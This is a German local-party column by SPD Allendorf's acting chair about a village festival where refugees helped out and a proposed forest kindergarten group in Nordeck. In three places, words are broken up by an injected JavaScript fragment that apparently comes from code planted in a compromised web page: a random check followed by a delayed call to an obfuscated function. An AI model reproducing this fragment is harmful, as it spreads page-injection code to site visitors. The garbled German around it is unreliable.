Zwei Ereignisse will ich aus dieser Woche und an dieser Stelle erwähnen,
weil sie mich bewegten und beschäftigten: das Haxenfest in Climbach und
die Idee einer Waldkindergartengruppe in Nordeck.
Das Haxenfest wurde auch in diesem Jahr wieder bei schönstem Maiwetter
in Climbach von vielen Einheimischen und Gästen gefeiert. Ein besonderer
Dank gilt der SG Climbach und den vielen Helferinnen und Helfern, denen
es jedes Jahr wieder gelingt, so ein Fest auf die Beine zu stellen.
Und doch war in diesem Jahr etwas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anders!!
Neubürger aus dem Iran, die in dem Container am Random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and des Festplatzes eine
vorübergehende Bleibe gefunden haben, halfen beim Auf und Abbau des
großen Festzeltes und sie haben auch kräftig mitgefeiert. Offensichtlich ist es
den ehrenamtlichen Helferinnen und Helfern in kürzester Zeit gelungen, den
Fremden das Eingewöhnen ins Dorfleben zu erleichtern und Ängste, Misstrauen
und Skepsis bei vielen abzubauen. Das ist doch ein gutes Zeichen. An dieser
Stelle möchte ich im Namen der SPDAllendorf allen danken, die sich
ehrenamtlich dafür einsetzen, den aus Krieg, Terror und Not geflüchteten
Menschen das Zurechtfinden in der für sie fremden Umgebung zu erleichtern.
In dieser Woche bewegt mich auch das Thema Kindergarten. Mühsam wäre es
an dieser Stelle Versäumnisse der vergangenen Jahre aufzurechnen. Für mich
ist wichtig, was wir für die Kleinsten und deren Eltern in der nahen Zukunft zu
tun gedenken.
Am Mittwochabend gab es im Bürgerhaus einen Infoabend, zu dem Frau Dr. NeuburgerHees von
der Lebenshilfe eingeladen hatte und an dem sie das Konzept einer Waldkindergartengruppe in
Nordeck vorstellte.
Es ist kein Geheimnis und es gibt auch keinen Grund, irgend etwas
schönzureden, nach den Sommerferien könnten – wenn sich nichts ändert – 16
Kinder keinen Platz in einem der Allendorfer Kindergarten finden. Schnelle
Lösungen sind nicht in Sicht, weil Räumlichkeiten fehlen, weil eine
„Schutzschirmkommune“ wie Allendorf keinen Goldesel besitzt, der
Golddukaten sch…., da kann man sich zwar viel wünschen und noch mehr
fordern, es muss aber auch umsetzbar sein. Und da braucht es eben kreative
Ideen. So eine kreative Idee sehe ich in der Gründung einer
Waldkindergartengruppe. Die SPDAllendorf unterstützt diese Idee nicht nur
weil sie eine schnelle und für die Kommune eine höchtswahrscheinlich
kostengünstige Lösung des vordringlichen Problems zu sein scheint, sondern
weil sie auch eine pädagogisch reizvolle Alternative zur konventionellen
Kindergartenbetreuung bietet.
Mich persönlich beeindruckt die in der 50er Jahren des vergangenen
Jahrhunderts in Dänemark entstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andenen Idee der Kinderbetreuung in der
freien Natur. Weg von der medialen Reizüberflutung, dem Lärm und
dem konventionellen Spielzeug bietet doch die Natur genügend Anregung für
eine positive ganzheitliche Entwicklung der Kinder, zumindest für einen Teil
des Tages.
Veröffentlichungen und wissenschaftliche Untersuchungen zur
Waldkindergartenpädagogik beurteilen die Entwicklung von Kindern, die in
einer solchen Einrichtung betreut werden und wurden, durchgängig positiv.
Also, warum sollte man nicht einmal in Allendorf eine solche Alternative
ausprobieren ( in Linden und Lich gibt es sie auch) .
Ich bin gespannt, wie die Reaktion unserer Eltern sein wird.
Und selbstverständlich würde diese Lösung nicht bedeuten, dass die
Verantwortlichen in der Kommune nicht die weitere räumliche Optimierung
der Kinderbetreuung in Allendorf als ein primäres Anliegen der nächsten Zeit
ansehen und vorantreiben müssen.
Und schließlich bleibt auch immer noch das Ziel in der Politik für kostenfreie
Kindertagesstätten zu sorgen.
Brigitte Heilmann
( komm. Vorsitzende der SPDAllendorf)